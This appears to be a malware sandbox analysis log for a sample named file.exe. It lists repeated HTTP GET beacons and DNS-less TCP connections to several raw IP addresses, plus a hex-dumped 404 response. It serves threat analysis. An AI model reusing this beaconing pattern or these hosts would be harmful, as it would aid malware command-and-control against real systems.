Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 5.234.221.184
Source: unknown	TCP traffic detected without corresponding DNS query: 5.234.221.184
Source: unknown	TCP traffic detected without corresponding DNS query: 5.234.221.184
Source: unknown	TCP traffic detected without corresponding DNS query: 5.234.221.184
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 5.234.221.184
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 77.244.144.31
Source: unknown	TCP traffic detected without corresponding DNS query: 77.244.144.31
Source: unknown	TCP traffic detected without corresponding DNS query: 77.244.144.31
Source: unknown	TCP traffic detected without corresponding DNS query: 77.244.144.31
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 77.244.144.31
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401C50 WSARecv,WSARecv,WSAGetLastError,Sleep,WSARecv,

0_2_00401C50

Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.215.113.66Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /PLTRESA HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.215.113.66Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.215.113.66Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 77.91.77.92

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:09:23 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
